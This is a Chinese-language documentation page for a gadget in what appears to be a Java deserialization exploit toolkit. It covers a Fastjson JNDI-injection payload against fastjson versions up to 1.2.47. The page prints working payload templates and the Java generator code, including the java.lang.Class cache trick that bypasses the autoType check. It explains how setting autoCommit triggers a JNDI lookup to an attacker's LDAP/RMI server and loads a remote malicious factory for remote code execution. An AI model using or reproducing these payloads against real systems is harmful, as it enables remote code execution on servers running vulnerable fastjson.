- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
fastjson <= 1.2.47
生成一段 Fastjson JSON payload,利用 JDK 内置的 com.sun.rowset.JdbcRowSetImpl——设置其 dataSourceName 为攻击者的 JNDI URL、再设 autoCommit=true 触发 JdbcRowSetImpl.connect() 里的 InitialContext.lookup(),从而发起 JNDI 注入(LDAP/RMI 远程加载)。这是 fastjson <= 1.2.24 / <= 1.2.47 最经典的 JNDI 打法。
- 入口
tags:FastjsonPayload、END—— 产物是交给 Fastjson 入口的 JSON 文本;END表示自身即最终 sink(JNDI),不向下包装其他 gadget。 - 衔接
nextTags:无。 excludes:无。
@Param
public String jndiUrl = "ldap://localhost:1389/Exploit";
@Param(name="fastjson版本", ... type=ParamType.Choice,
choices={@Choice(label="fastjson <= 1.2.24", value="1.2.24"),
@Choice(label="fastjson <= 1.2.47", value="1.2.47")})
public String fastjsonVersion = "1.2.47";
public static String template1224 = "{\n \"x1\": {\n \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n \"dataSourceName\": \"%s\",\n \"autoCommit\": true\n }\n}";
public static String template1247 = "{\n \"x1\": {\n \"@type\": \"java.lang.Class\",\n \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n },\n \"x2\": {\n \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n \"dataSourceName\": \"%s\",\n \"autoCommit\": true\n }\n}";
public Object getObject(byte[] bytes) throws Exception {
String templateToUse = "1.2.24".equals(this.fastjsonVersion) ? template1224 : template1247;
return String.format(templateToUse, this.jndiUrl);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[])chain.doCreate(context));
}- 双模板按版本切换:
fastjsonVersion为1.2.24时用template1224(直接声明JdbcRowSetImpl);否则(1.2.47)用template1247。 1.2.47缓存绕过:template1247先用{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}把目标类塞进 fastjson 的类缓存(Mapping.mapping)。因为Class.deserialize在cache=true时会把val指定的类登记进白名单缓存,随后x2再引用同一类名即可绕过 1.2.25~1.2.47 引入的 autoType checkAutoType 校验。- JNDI 触发点:
x2(或 1.2.24 的x1)反序列化JdbcRowSetImpl时,fastjson 依次调用 setter:setDataSourceName(jndiUrl)记录名称,setAutoCommit(true)触发JdbcRowSetImpl.connect()→InitialContext.lookup(this.getDataSourceName()),即对攻击者jndiUrl发起 JNDI 查找,加载并实例化远程恶意 Factory,完成 RCE。 invoke虽调用了chain.doCreate取内层,但getObject(byte[])并不使用该字节码——本构件是自包含 JNDI sink,内层可为空产物。%s仅由jndiUrl填充。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndiUrl | JNDI 查找地址(LDAP/RMI),指向攻击者服务器 | ldap://localhost:1389/Exploit |
任意 JNDI URL |
fastjsonVersion |
fastjson版本 | 选择目标 fastjson 版本以决定用直连模板还是 Class 缓存绕过模板 |
1.2.47 |
1.2.24(fastjson <= 1.2.24)、1.2.47(fastjson <= 1.2.47) |
- 适用
fastjson <= 1.2.47(1.2.24分支用于更早版本)。 - 仅需 JDK 内置
com.sun.rowset.JdbcRowSetImpl,无第三方依赖,是 fastjson JNDI 打法的「无依赖」基线。 - 成功与否受目标 JDK 的 JNDI 远程加载防护影响(高版本 JDK
com.sun.jndi.ldap/rmi.object.trustURLCodebase=false默认关闭远程 codebase,需配合本地 factory / 其它绕过)。
自由构件,未直接出现在预设链(usedInChains 为空)。对应预设链中有基于原生 Fastjson gadget 的「Fastjson JNDI链」([Fastjson, LdapAttribute]),本构件是纯 JSON 文本版的等价打法。
- 同族 Fastjson END 构件:FastjsonGroovy、FastjsonJta、FastjsonMySQL1_2_80。
- 需字节码 sink 的对照:FastjsonH2Jdbc。
- 原理同源的 Java 原生构件:
JdbcRowSetImpl(javanative,JNDI getter sink)。